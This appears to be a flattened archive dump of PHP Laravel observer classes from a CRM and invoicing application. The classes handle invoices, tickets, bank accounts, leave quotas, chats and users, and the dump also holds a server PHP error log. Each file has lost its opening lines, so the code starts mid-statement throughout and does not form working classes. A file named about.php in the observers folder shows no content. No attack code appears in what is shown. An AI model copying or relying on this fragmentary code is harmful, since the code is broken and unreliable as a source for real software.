$validLabelIds); }); if (implode(',', $updatedTaskLabels) !== $task->task_labels) { $task->task_labels = implode(',', $updatedTaskLabels); $task->save(); } } $task = Task::with('labels')->findOrFail(request()->task_id); if ($task->project_id != $taskLabel->project_id) { $task->labels()->detach(request()->label_id); } } } public function deleted(){ $validLabelIds = TaskLabelList::whereNull('project_id')->pluck('id')->toArray(); $projectTemplateTasks = ProjectTemplateTask::all(); foreach ($projectTemplateTasks as $task) { $taskLabelsArray = explode(',', $task->task_labels); $updatedTaskLabels = array_filter($taskLabelsArray, function($labelId) use ($validLabelIds) { return in_array($labelId, $validLabelIds); }); if (implode(',', $updatedTaskLabels) !== $task->task_labels) { $task->task_labels = implode(',', $updatedTaskLabels); $task->save(); } } } } Observers/TicketTypeObserver.php000064400000000353150325104510013021 0ustar00company_id = company()->id; } } } Observers/DealNoteObserver.php000064400000002017150325104510012426 0ustar00last_updated_by = user()->id; } } } public function created(DealNote $dealNote) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createDealHistory($dealNote->deal_id, 'note-added', noteId: $dealNote->id); } } } public function creating(DealNote $dealNote) { if (!isRunningInConsoleOrSeeding()) { if (user()) { $dealNote->added_by = user()->id; } } } public function deleted(DealNote $dealNote) { if (user()) { self::createDealHistory($dealNote->deal_id, 'note-deleted'); } } } Observers/about.php000064400000026574150325104510010353 0ustar00Observers/BankAccountObserver.php000064400000005017150325104510013126 0ustar00last_updated_by = user()->id; } } public function creating(BankAccount $bankAccount) { if (user()) { $bankAccount->added_by = user()->id; } if (company()) { $bankAccount->company_id = company()->id; } } public function created(BankAccount $bankAccount) { $transaction = new BankTransaction(); $transaction->company_id = $bankAccount->company_id; $transaction->bank_account_id = $bankAccount->id; $transaction->transaction_date = now()->format('Y-m-d'); $transaction->amount = round($bankAccount->opening_balance, 2); $transaction->bank_balance = round($bankAccount->opening_balance, 2); $transaction->transaction_relation = 'bank'; $transaction->title = 'bank-account-created'; $transaction->save(); } public function updating(BankAccount $bankAccount) { if ($bankAccount->isDirty('opening_balance')) { $originalBalance = $bankAccount->getOriginal('opening_balance'); $getCurrentBalance = $bankAccount->opening_balance; $newBalance = 0; $currentBankBalance = 0; $currentBankAccount = BankAccount::find($bankAccount->id); $bankBalance = $currentBankAccount->bank_balance; $transaction = new BankTransaction(); if ($bankAccount->getOriginal('opening_balance') > $bankAccount->opening_balance) { $newBalance = $originalBalance - $getCurrentBalance; $transaction->type = 'Dr'; $currentBankBalance = $bankBalance - $newBalance; } if ($bankAccount->getOriginal('opening_balance') < $bankAccount->opening_balance) { $newBalance = $getCurrentBalance - $originalBalance; $currentBankBalance = $bankBalance + $newBalance; } $transaction->bank_account_id = $bankAccount->id; $transaction->amount = round($newBalance, 2); $transaction->transaction_date = now()->format('Y-m-d'); $transaction->bank_balance = round($currentBankBalance, 2); $transaction->transaction_relation = 'bank'; $transaction->title = 'bank-account-updated'; $transaction->save(); } } } Observers/EmployeeShiftChangeObserver.php000064400000002103150325104510014612 0ustar00company_id = company()->id; } } public function updated(EmployeeShiftChangeRequest $changeRequest) { if (!isRunningInConsoleOrSeeding()) { if ($changeRequest->isDirty('status')) { if ($changeRequest->status == 'accepted') { EmployeeShiftSchedule::where('id', $changeRequest->shift_schedule_id)->update(['employee_shift_id' => $changeRequest->employee_shift_id]); } event(new EmployeeShiftChangeEvent($changeRequest, 'statusChange')); } } } } Observers/ProductFileObserver.php000064400000002057150325104510013157 0ustar00last_updated_by = user()->id; } } public function creating(ProductFiles $productFiles) { if (!isRunningInConsoleOrSeeding() && user()) { $productFiles->added_by = user()->id; } if (company()) { $productFiles->company_id = company()->id; } } public function deleting(ProductFiles $productFiles) { $productFiles->load('product'); if (!isRunningInConsoleOrSeeding()) { if (isset($productFiles->product) && $productFiles->product->default_image == $productFiles->hashname) { $productFiles->product->default_image = null; $productFiles->product->save(); } } Files::deleteFile($productFiles->hashname, ProductFiles::FILE_PATH); } } Observers/ProjectTemplateObserver.php000064400000000416150325104510014036 0ustar00company_id = company()->id; } } } Observers/TicketGroupObserver.php000064400000000356150325104510013177 0ustar00company_id = company()->id; } } } Observers/ThemeSettingObserver.php000064400000000361150325104510013333 0ustar00company_id = company()->id; } } } Observers/DiscussionReplyObserver.php000064400000004173150325104510014077 0ustar00company_id = company()->id; } } public function created(DiscussionReply $discussionReply) { if (isset(request()->discussion_type) && request()->discussion_type == 'discussion_reply') { $discussion = $discussionReply->discussion; $project = $discussion->project; $mentionIds = explode(',', request()->mention_user_id); $projectUsers = json_decode($project->projectMembers->pluck('id')); $mentionUserId = array_intersect($mentionIds, $projectUsers); if ($mentionUserId != null && $mentionUserId != '') { $discussionReply->mentionUser()->sync($mentionIds); event(new DiscussionMentionEvent($discussion, $mentionUserId)); } else { $unmentionIds = array_diff($projectUsers, $mentionIds); if ($unmentionIds != null && $unmentionIds != '') { $project_member = User::whereIn('id', $unmentionIds)->get(); event(new DiscussionEvent($discussion, $project_member)); } else { if (!isRunningInConsoleOrSeeding()) { $discussion->last_reply_at = now()->timezone('UTC')->toDateTimeString(); $discussion->last_reply_by_id = user()->id; $discussion->save(); event(new DiscussionReplyEvent($discussionReply, $discussion->user)); } } } } } public function deleted(DiscussionReply $discussionReply) { if (!isRunningInConsoleOrSeeding()) { $discussion = $discussionReply->discussion; $discussion->best_answer_id = null; $discussion->save(); } } } Observers/InvoiceObserver.php000064400000060261150325104510012334 0ustar00last_updated_by = user()->id; if (request()->has('calculate_tax')) { $invoice->calculate_tax = request()->calculate_tax; } } } } public function creating(Invoice $invoice) { $invoice->hash = md5(microtime()); if (!isRunningInConsoleOrSeeding()) { if ((request()->type && request()->type == 'send') || !is_null($invoice->invoice_recurring_id) || request()->type == 'mark_as_send') { $invoice->send_status = 1; } else { $invoice->send_status = 0; } if (request()->type && request()->type == 'draft') { $invoice->status = 'draft'; } if (!is_null($invoice->estimate_id)) { $estimate = Estimate::findOrFail($invoice->estimate_id); if ($estimate->status == 'accepted') { $invoice->send_status = 1; } } /* If it is a order invoice, then send_status will be always 1 so that it could be visible to clients */ if (isset($invoice->order_id)) { $invoice->send_status = 1; } $invoice->added_by = user() ? user()->id : null; } if (company()) { $invoice->company_id = company()->id; } if (is_numeric($invoice->invoice_number)) { $invoice->invoice_number = $invoice->formatInvoiceNumber(); } $invoiceSettings = company() ? company()->invoiceSetting : $invoice->company->invoiceSetting; $invoice->original_invoice_number = str($invoice->invoice_number)->replace($invoiceSettings->invoice_prefix . $invoiceSettings->invoice_number_separator, ''); } public function created(Invoice $invoice) { if (!isRunningInConsoleOrSeeding()) { if (!empty(request()->item_name) && is_array(request()->item_name)) { $itemsSummary = request()->item_summary; $cost_per_item = request()->cost_per_item; $hsn_sac_code = request()->hsn_sac_code; $quantity = request()->quantity; $unitId = request()->unit_id; $product = request()->product_id; $amount = request()->amount; $tax = request()->taxes; $invoice_item_image = request()->invoice_item_image; $invoice_item_image_delete = request()->invoice_item_image_delete; $invoice_item_image_url = request()->invoice_item_image_url; $invoiceOldImage = request()->image_id; foreach (request()->item_name as $key => $item) : if (!is_null($item)) { $invoiceItem = InvoiceItems::create( [ 'invoice_id' => $invoice->id, 'item_name' => $item, 'item_summary' => $itemsSummary[$key] ?: '', 'type' => 'item', 'unit_id' => (isset($unitId[$key])) ? $unitId[$key] : null, 'product_id' => (isset($product[$key])) ? $product[$key] : null, 'hsn_sac_code' => (isset($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null, 'quantity' => $quantity[$key], 'unit_price' => round($cost_per_item[$key], 2), 'amount' => round($amount[$key], 2), 'taxes' => ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null), 'field_order' => $key + 1 ] ); } /* Invoice file save here */ if (isset($invoiceItem) && (isset($invoice_item_image[$key]) || isset($invoice_item_image_url[$key]))) { $filename = ''; if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], InvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/'); } InvoiceItemImage::create( [ 'invoice_item_id' => $invoiceItem->id, 'filename' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getClientOriginalName() : '', 'hashname' => isset($invoice_item_image[$key]) ? $filename : null, 'size' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getSize() : null, 'external_link' => isset($invoice_item_image[$key]) ? null : (isset($invoice_item_image_url[$key]) ? $invoice_item_image_url[$key] : null), ] ); } $image = true; if (isset($invoice_item_image_delete[$key])) { $image = false; } if ($image && (isset(request()->image_id[$key]) && $invoiceOldImage[$key] != '') && isset($invoiceItem) && request()->has('estimate_id')) { $estimateOldImg = EstimateItemImage::with('item')->where('id', request()->image_id[$key])->first(); $this->duplicateImageStore($estimateOldImg, $invoiceItem); } if ($image && (isset(request()->image_id[$key]) && $invoiceOldImage[$key] != '') && isset($invoiceItem) && request()->has('proposal_id')) { $estimateOldImg = ProposalItemImage::with('item')->where('id', request()->image_id[$key])->first(); $this->duplicateImageStore($estimateOldImg, $invoiceItem, true); } endforeach; } if (($invoice->project && $invoice->project->client_id != null) || $invoice->client_id != null) { $clientId = ($invoice->project && $invoice->project->client_id != null) ? $invoice->project->client_id : $invoice->client_id; // Notify client $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($clientId); if ($notifyUser && request()->type && request()->type == 'send') { event(new NewInvoiceEvent($invoice, $notifyUser)); } } // Add event to google calendar if (request()->type && (request()->type == 'send' || request()->type == 'mark_as_send')) { if (!is_null($invoice->due_date)) { $invoice->event_id = $this->googleCalendarEvent($invoice); } if (quickbooks_setting()->status && quickbooks_setting()->access_token != '') { $quickBooks = new QuickbookController(); $qbInvoiceId = $quickBooks->createInvoice($invoice); $invoice->quickbooks_invoice_id = $qbInvoiceId; $invoice->saveQuietly(); } } if (is_null($invoice->company_address_id)) { $defaultCompanyAddress = CompanyAddress::where('is_default', 1)->where('company_id', $invoice->company_id)->first(); $invoice->company_address_id = $defaultCompanyAddress->id; } } $paymentStatus = request()->payment_status; $invoice->custom_invoice_number = $invoice->invoice_number; if ($paymentStatus == '1') { $invoice->gateway = request()->gateway; $invoice->transaction_id = request()->transaction_id; $invoice->offline_method_id = request()->offline_methods; $invoice->status = 'paid'; } $invoice->saveQuietly(); if ($paymentStatus == '1') { $clientPayment = new Payment(); $clientPayment->currency_id = $invoice->currency_id; $clientPayment->invoice_id = $invoice->id; $clientPayment->project_id = $invoice->project_id; $clientPayment->amount = $invoice->total; $clientPayment->exchange_rate = $invoice->exchange_rate; $clientPayment->transaction_id = $invoice->transaction_id; $clientPayment->bank_account_id = $invoice->bank_account_id; $clientPayment->offline_method_id = request()->offline_methods; $clientPayment->default_currency_id = request()->default_currency_id; $clientPayment->gateway = $invoice->gateway; $clientPayment->status = 'complete'; $clientPayment->paid_on = now(); $clientPayment->save(); } } public function updating(Invoice $invoice) { if (!isRunningInConsoleOrSeeding()) { if (request()->type && request()->type == 'send' || request()->type == 'mark_as_send') { $invoice->send_status = 1; if ($invoice->status == 'draft') { $invoice->status = 'unpaid'; } } // Update event to google calendar if ($invoice && !is_null($invoice->due_date)) { $invoice->event_id = $this->googleCalendarEvent($invoice); } } } public function updated(Invoice $invoice) { if (!isRunningInConsoleOrSeeding()) { /* Step1 - Delete all invoice items which are not avaialable Step2 - Find old invoices items, update it and check if images are newer or older Step3 - Insert new invoices items with images */ $request = request(); $items = $request->item_name; $itemsSummary = $request->item_summary; $hsn_sac_code = $request->hsn_sac_code; $unitId = $request->unit_id; $product = $request->product_id; $tax = $request->taxes; $quantity = $request->quantity; $cost_per_item = $request->cost_per_item; $amount = $request->amount; $invoice_item_image = $request->invoice_item_image; $invoice_item_image_url = $request->invoice_item_image_url; $item_ids = $request->item_ids; if (empty($item_ids)) { $item_ids = InvoiceItems::where('invoice_id', $invoice->id)->pluck('id')->toArray(); } if (!empty($request->item_name) && is_array($request->item_name) && !request()->has('cn_number')) { // Step1 - Delete all invoice items which are not avaialable if (!empty($item_ids)) { InvoiceItems::whereNotIn('id', $item_ids)->where('invoice_id', $invoice->id)->delete(); } // Step2&3 - Find old invoices items, update it and check if images are newer or older foreach ($items as $key => $item) { $invoice_item_id = isset($item_ids[$key]) ? $item_ids[$key] : 0; try { $invoiceItem = InvoiceItems::findOrFail($invoice_item_id); } catch (Exception) { $invoiceItem = new InvoiceItems(); } $invoiceItem->invoice_id = $invoice->id; $invoiceItem->item_name = $item; $invoiceItem->item_summary = $itemsSummary[$key]; $invoiceItem->type = 'item'; $invoiceItem->unit_id = (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null; $invoiceItem->product_id = (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null; $invoiceItem->hsn_sac_code = (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null; $invoiceItem->quantity = $quantity[$key]; $invoiceItem->unit_price = round($cost_per_item[$key], 2); $invoiceItem->amount = round($amount[$key], 2); $invoiceItem->taxes = ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null); $invoiceItem->field_order = $key + 1; $invoiceItem->saveQuietly(); /* Invoice file save here */ if ((isset($invoice_item_image[$key]) && $request->hasFile('invoice_item_image.' . $key)) || isset($invoice_item_image_url[$key])) { /* Delete previous uploaded file if it not a product (because product images cannot be deleted) */ if (!isset($invoice_item_image_url[$key]) && $invoiceItem && $invoiceItem->invoiceItemImage) { Files::deleteFile($invoiceItem->invoiceItemImage->hashname, InvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/'); } $filename = ''; if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], InvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/'); } InvoiceItemImage::updateOrCreate( [ 'invoice_item_id' => $invoiceItem->id, ], [ 'filename' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getClientOriginalName() : '', 'hashname' => isset($invoice_item_image[$key]) ? $filename : null, 'size' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getSize() : null, 'external_link' => isset($invoice_item_image[$key]) ? null : ($invoice_item_image_url[$key] ?? null), ] ); } } } } // Send notification if (($invoice->isDirty('issue_date') || $invoice->isDirty('due_date') || $invoice->isDirty('sub_total') || $invoice->isDirty('discount') || $invoice->isDirty('discount_type') || $invoice->isDirty('total') || $invoice->isDirty('recurring') || $invoice->isDirty('note') || $invoice->isDirty('calculate_tax') || $invoice->isDirty('due_amount')) && (($invoice->project && $invoice->project->client_id != null) || $invoice->client_id != null)) { $clientId = ($invoice->project && $invoice->project->client_id != null) ? $invoice->project->client_id : $invoice->client_id; // Notify client $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($clientId); if ($notifyUser && request()->type != 'mark_as_send') { event(new InvoiceUpdatedEvent($invoice, $notifyUser)); } } $paymentStatus = request()->payment_status; $invoice->custom_invoice_number = $invoice->invoice_number; if ($paymentStatus == '1') { $invoice->gateway = request()->gateway; $invoice->transaction_id = request()->transaction_id; $invoice->offline_method_id = request()->offline_methods; $invoice->status = 'paid'; } if ($invoice->amountDue() == 0) { $invoice->status = 'paid'; } $invoice->saveQuietly(); // To add payment if received if ($paymentStatus == '1' && $invoice->amountDue() != 0) { $clientPayment = new Payment(); $clientPayment->currency_id = $invoice->currency_id; $clientPayment->invoice_id = $invoice->id; $clientPayment->project_id = $invoice->project_id; $clientPayment->amount = $invoice->amountDue(); $clientPayment->exchange_rate = $invoice->exchange_rate; $clientPayment->transaction_id = $invoice->transaction_id; $clientPayment->bank_account_id = $invoice->bank_account_id; $clientPayment->offline_method_id = request()->offline_methods; $clientPayment->default_currency_id = $invoice->default_currency_id; $clientPayment->gateway = $invoice->gateway; $clientPayment->status = 'complete'; $clientPayment->paid_on = now(); $clientPayment->save(); } if (!is_null($invoice->quickbooks_invoice_id)) { if (quickbooks_setting()->status && quickbooks_setting()->access_token != '') { $quickBooks = new QuickbookController(); $quickBooks->updateInvoice($invoice); } } } public function deleting(Invoice $invoice) { $universalSearches = UniversalSearch::where('searchable_id', $invoice->id)->where('module_type', 'invoice')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } $notifyData = ['App\Notifications\InvoicePaymentReceived', 'App\Notifications\InvoiceReminder', 'App\Notifications\NewInvoice', 'App\Notifications\NewPayment']; Notification::deleteNotification($notifyData, $invoice->id); /* Delete invoice item files */ $invoiceItems = InvoiceItems::where('invoice_id', $invoice->id)->get(); if ($invoiceItems) { foreach ($invoiceItems as $invoiceItem) { Files::deleteDirectory(InvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id); } } /* Start of deleting event from google calendar */ $google = new Google(); $googleAccount = $invoice->company; if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token) { $google->connectUsing($googleAccount->token); try { if ($invoice->event_id) { $google->service('Calendar')->events->delete('primary', $invoice->event_id); } } catch (\Google\Service\Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } /* End of deleting event from google calendar */ if (!is_null($invoice->quickbooks_invoice_id)) { if (quickbooks_setting()->status && quickbooks_setting()->access_token != '') { $quickBooks = new QuickbookController(); $quickBooks->deleteInvoice($invoice); } } } public function deleted(Invoice $invoice) { if (user()) { self::createEmployeeActivity(user()->id, 'invoice-deleted'); } } protected function googleCalendarEvent($event) { $module = GoogleCalendarModule::first(); $company = $module->company; if (!$company) { return true; } $googleAccount = $company; if ($company->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token && $module->invoice_status == 1) { $google = new Google(); $attendiesData = []; $attendees = User::where('id', $event->client_id)->first(); if (!is_null($event->due_date) && !is_null($attendees) && $attendees->google_calendar_status) { $attendiesData[] = ['email' => $attendees->email]; } $description = __('messages.invoiceDueOn'); if ($event->issue_date && $event->due_date) { $start_date = Carbon::parse($event->issue_date)->shiftTimezone($googleAccount->timezone); $due_date = Carbon::parse($event->due_date)->shiftTimezone($googleAccount->timezone); // Create event $google = $google->connectUsing($googleAccount->token); $eventData = new Google_Service_Calendar_Event(array( 'summary' => $event->invoice_number . ' ' . $description, 'location' => $googleAccount->address, 'description' => $description, 'colorId' => 4, 'start' => array( 'dateTime' => $start_date, 'timeZone' => $googleAccount->timezone, ), 'end' => array( 'dateTime' => $due_date, 'timeZone' => $googleAccount->timezone, ), 'attendees' => $attendiesData, 'reminders' => array( 'useDefault' => false, 'overrides' => array( array('method' => 'email', 'minutes' => 24 * 60), array('method' => 'popup', 'minutes' => 10), ), ), )); try { if ($event->event_id) { $results = $google->service('Calendar')->events->patch('primary', $event->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } return $results->id; } catch (\Google\Service\Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } } return $event->event_id; } public function duplicateImageStore($estimateOldImg, $invoiceItem, $proposal = false) { if (!is_null($estimateOldImg)) { $file = new InvoiceItemImage(); $file->invoice_item_id = $invoiceItem->id; $fileName = Files::generateNewFileName($estimateOldImg->filename); if (!$proposal) { Files::copy(EstimateItemImage::FILE_PATH . '/' . $estimateOldImg->item->id . '/' . $estimateOldImg->hashname, InvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/' . $fileName); } else { Files::copy(ProposalItemImage::FILE_PATH . '/' . $estimateOldImg->item->id . '/' . $estimateOldImg->hashname, InvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/' . $fileName); } $file->filename = $estimateOldImg->filename; $file->hashname = $fileName; $file->size = $estimateOldImg->size; $file->save(); } } } Observers/LeadNoteObserver.php000064400000001055150325104510012427 0ustar00last_updated_by = user()->id; } } } public function creating(LeadNote $leadNote) { if (!isRunningInConsoleOrSeeding()) { if (user()) { $leadNote->added_by = user()->id; } } } } Observers/CustomFieldsObserver.php000064400000006537150325104510013347 0ustar00company_id = company()->id; } } public function created(CustomField $customField) { $this->lead($customField); $this->ticket($customField); } private function lead($customField) { $lead = CustomFieldGroup::where('name', 'Lead')->first(); if ($customField->custom_field_group_id != $lead->id) { return false; } $leadField = new LeadCustomForm(); $leadField->required = ($customField->required == 'yes') ? 1 : 0; $leadField->field_display_name = str($customField->label); $leadField->custom_fields_id = $customField->id; $leadField->field_name = $customField->name; $leadField->field_order = LeadCustomForm::max('field_order'); $leadField->save(); } private function ticket($customField) { $ticket = CustomFieldGroup::where('name', 'Ticket')->first(); if ($customField->custom_field_group_id != $ticket->id) { return false; } $ticketField = new TicketCustomForm(); $ticketField->required = ($customField->required == 'yes') ? 1 : 0; $ticketField->field_display_name = str($customField->label); $ticketField->custom_fields_id = $customField->id; $ticketField->field_name = $customField->name; $ticketField->field_type = $customField->type; $ticketField->field_order = TicketCustomForm::max('field_order'); $ticketField->save(); } public function updated(CustomField $customField) { $lead = CustomFieldGroup::where('name', 'Lead')->first(); if ($customField->custom_field_group_id == $lead->id) { $id = $customField->id; $leadField = LeadCustomForm::firstWhere('custom_fields_id', $id); $leadField->required = ($customField->required == 'yes') ? 1 : 0; $leadField->field_display_name = str($customField->label); $leadField->field_name = $customField->name; $leadField->save(); } $ticket = CustomFieldGroup::where('name', 'Ticket')->first(); if ($customField->custom_field_group_id === $ticket->id) { $id = $customField->id; $ticketField = TicketCustomForm::firstWhere('custom_fields_id', $id); $ticketField->required = ($customField->required == 'yes') ? 1 : 0; $ticketField->field_display_name = str($customField->label); $ticketField->custom_fields_id = $customField->id; $ticketField->field_name = $customField->name; $ticketField->field_type = $customField->type; $ticketField->save(); } // remove select values that is deleted from custom field if ($customField->type == 'select') { $valuesIndexCount = count(json_decode($customField->values)) - 1; // delete values that is greater than the index count DB::table('custom_fields_data')->where('custom_field_id', $customField->id)->where('value', '>', $valuesIndexCount)->delete(); } } } Observers/GdprSettingObserver.php000064400000000267150325104510013172 0ustar00company_id = company()->id; } } } Observers/LeaveTypeObserver.php000064400000004736150325104510012643 0ustar00company_id = company()->id; } } public function created(LeaveType $leaveType) { if (!isRunningInConsoleOrSeeding()) { $employees = EmployeeDetails::select('id', 'user_id', 'joining_date')->get(); $settings = company(); foreach ($employees as $key => $employee) { Artisan::call('app:recalculate-leaves-quotas ' . $settings->id . ' ' . $employee->user_id . ' ' . $leaveType->id); } } } public function updated(LeaveType $leaveType) { if ( request()->has('restore') && request()->restore == 'restore' || ((session()->has('old_leaves') && session('old_leaves') == $leaveType->no_of_leaves) && (session()->has('old_leavetype') && session('old_leavetype') == $leaveType->leavetype)) ) { if (session()->has('old_leaves')) { session()->forget('old_leaves'); } return true; } if (!isRunningInConsoleOrSeeding()) { try { if (!$leaveType->isDirty('over_utilization')) { $employeeLeaveQuotaUserIds = EmployeeLeaveQuota::where('leave_type_id', $leaveType->id)->where('leave_type_impact', 1) ->pluck('user_id') ->toArray(); $employees = EmployeeDetails::select('id', 'user_id', 'joining_date')->whereNotIn('user_id', $employeeLeaveQuotaUserIds)->get(); $settings = company(); foreach ($employees as $employee) { Artisan::call('app:recalculate-leaves-quotas ' . $settings->id . ' ' . $employee->user_id . ' ' . $leaveType->id); } $keysToForget = ['old_leaves', 'old_leavetype']; foreach ($keysToForget as $key) { if (session()->has($key)) { session()->forget($key); } } } } catch (\Exception $e) { //Log::error('Error in LeaveTypeObserver: ' . $e->getMessage()); } } } } Observers/ProjectNoteObserver.php000064400000005372150325104510013176 0ustar00last_updated_by = user()->id; } } public function creating(ProjectNote $ProjectNote) { if (!isRunningInConsoleOrSeeding()) { $ProjectNote->added_by = user()->id; } } public function created(ProjectNote $projectNote) { $project = $projectNote->project; if (request()->mention_user_id != null && request()->mention_user_id != '') { $projectNote->mentionUser()->sync(request()->mention_user_id); $projectUsers = json_decode($project->projectMembers->pluck('id')); $mentionIds = json_decode($projectNote->mentionNote->pluck('user_id')); $mentionUserId = array_intersect($mentionIds, $projectUsers); if ($mentionUserId != null && $mentionUserId != '') { event(new ProjectNoteMentionEvent($project, $projectNote->created_at, $mentionUserId)); } $unmentionIds = array_diff($projectUsers, $mentionIds); if ($unmentionIds != null && $unmentionIds != '') { $projectNoteUsers = User::whereIn('id', $unmentionIds)->get(); event(new ProjectNoteEvent($project, $projectNote->created_at, $projectNoteUsers)); } } else { event(new ProjectNoteEvent($project, $projectNote->created_at, $projectNote->project->projectMembers)); } } public function updating(ProjectNote $projectNote) { $mentionedUser = MentionUser::where('project_note_id', $projectNote->id)->pluck('user_id'); $requestMentionIds = explode(',', (request()->mention_user_id)); $project = $projectNote->project; $newMention = []; if (request()->mention_user_id != null) { $projectNote->mentionUser()->sync($requestMentionIds); foreach ($requestMentionIds as $value) { if (($mentionedUser) != null) { if (!in_array($value, json_decode($mentionedUser))) { $newMention[] = $value; } } else { $newMention[] = $value; } } if ($newMention != null) { event(new ProjectNoteMentionEvent($project, $projectNote->created_at, $newMention)); } } } } Observers/error_log000064400000001626150325104510010434 0ustar00[04-Jul-2025 13:00:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:26:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Observers/EmergencyContactObserver.php000064400000001104150325104510014161 0ustar00last_updated_by = user()->id; } } public function creating(EmergencyContact $emergencyContact) { if (!isRunningInConsoleOrSeeding()) { $emergencyContact->added_by = user()->id; } if (company()) { $emergencyContact->company_id = company()->id; } } } Observers/ProjectTimelogBreakObserver.php000064400000001162150325104510014627 0ustar00last_updated_by = user()->id; } } public function creating(ProjectTimeLogBreak $projectTimeLogBreak) { if (!isRunningInConsoleOrSeeding() && user()) { $projectTimeLogBreak->added_by = user()->id; } if (company()) { $projectTimeLogBreak->company_id = company()->id; } } } Observers/NewChatObserver.php000064400000003024150325104510012263 0ustar00user_id == request()->mention_user_id) && request()->mention_user_id != null && request()->mention_user_id != '') { $userChat->mentionUser()->sync(request()->mention_user_id); $mentionUserIds = explode(',', request()->mention_user_id); $mentionUser = User::whereIn('id', $mentionUserIds)->get(); event(new NewMentionChatEvent($userChat, $mentionUser)); } else { event(new NewChatEvent($userChat)); } if (pusher_settings()->status == 1 && pusher_settings()->messages == 1) { Config::set('queue.default', 'sync'); // Set intentionally for instant delivery of messages broadcast(new NewMessage($userChat))->toOthers()->via('pusher'); } } } public function creating(UserChat $userChat) { if (company()) { $userChat->company_id = company()->id; } } public function deleting(UserChat $userChat) { $notifyData = ['App\Notifications\NewChat']; Notification::deleteNotification($notifyData, $userChat->id); } } Observers/UserObserver.php000064400000002221150325104510011646 0ustar00isDirty('status') && $user->status == 'deactive') { // Remove as ticket agent TicketAgentGroups::whereAgentId($user->id)->delete(); } } session()->forget('user'); } public function created(User $user) { if (!isRunningInConsoleOrSeeding()) { $sendMail = true; if (request()->has('sendMail') && request()->sendMail == 'no') { $sendMail = false; } if ($sendMail && request()->password != '' && auth()->check() && request()->email != '') { event(new NewUserEvent($user, request()->password)); } } } public function creating(User $model) { if (company()) { $model->company_id = company()->id; } $this->storeHeaders($model); } } Observers/ClientDocumentObserver.php000064400000001046150325104510013651 0ustar00last_updated_by = user()->id; } } public function creating(ClientDocument $clientDocs) { if (user()) { $clientDocs->added_by = user()->id; } if (company()) { $clientDocs->company_id = company()->id; } } } Observers/ProjectRatingObserver.php000064400000001311150325104510013502 0ustar00id); } } Observers/AcceptEstimateObserver.php000064400000000337150325104510013631 0ustar00company_id = $model->estimate->company_id; } } Observers/TicketObserver.php000064400000016241150325104510012162 0ustar00id : $ticket->user_id; $ticket->last_updated_by = $userID; } } public function creating(Ticket $model) { if (company()) { $model->company_id = company()->id; } if (!isRunningInConsoleOrSeeding()) { $userID = (!is_null(user())) ? user()->id : $model->user_id; $model->added_by = $userID; if ($model->isDirty('status') && $model->status == 'closed') { $model->close_date = now(company()->timezone)->format('Y-m-d'); } $group_id = request()->assign_group ?: request()->group_id; // start Round Robin $ticketSettings = LeadSetting::select('ticket_round_robin_status')->first(); if ($ticketSettings && $ticketSettings->ticket_round_robin_status == 1) { $agentGroupData = TicketAgentGroups::where('company_id', $model->company_id) ->where('status', 'enabled') ->where('group_id', $group_id) ->pluck('agent_id') ->toArray(); $ticketData = $model->where('company_id', $model->company_id) ->where('group_id', $group_id) ->whereIn('agent_id', $agentGroupData) ->whereIn('status', ['open', 'pending']) ->whereNotNull('agent_id') ->pluck('agent_id') ->toArray(); $diffAgent = array_diff($agentGroupData, $ticketData); if (is_null(request()->agent_id)) { if (!empty($diffAgent)) { $model->agent_id = current($diffAgent); } else { $agentDuplicateCount = array_count_values($ticketData); if (!empty($agentDuplicateCount)) { $minVal = min($agentDuplicateCount); $agent_id = array_search($minVal, $agentDuplicateCount); $model->agent_id = $agent_id; } } } else { $model->agent_id = 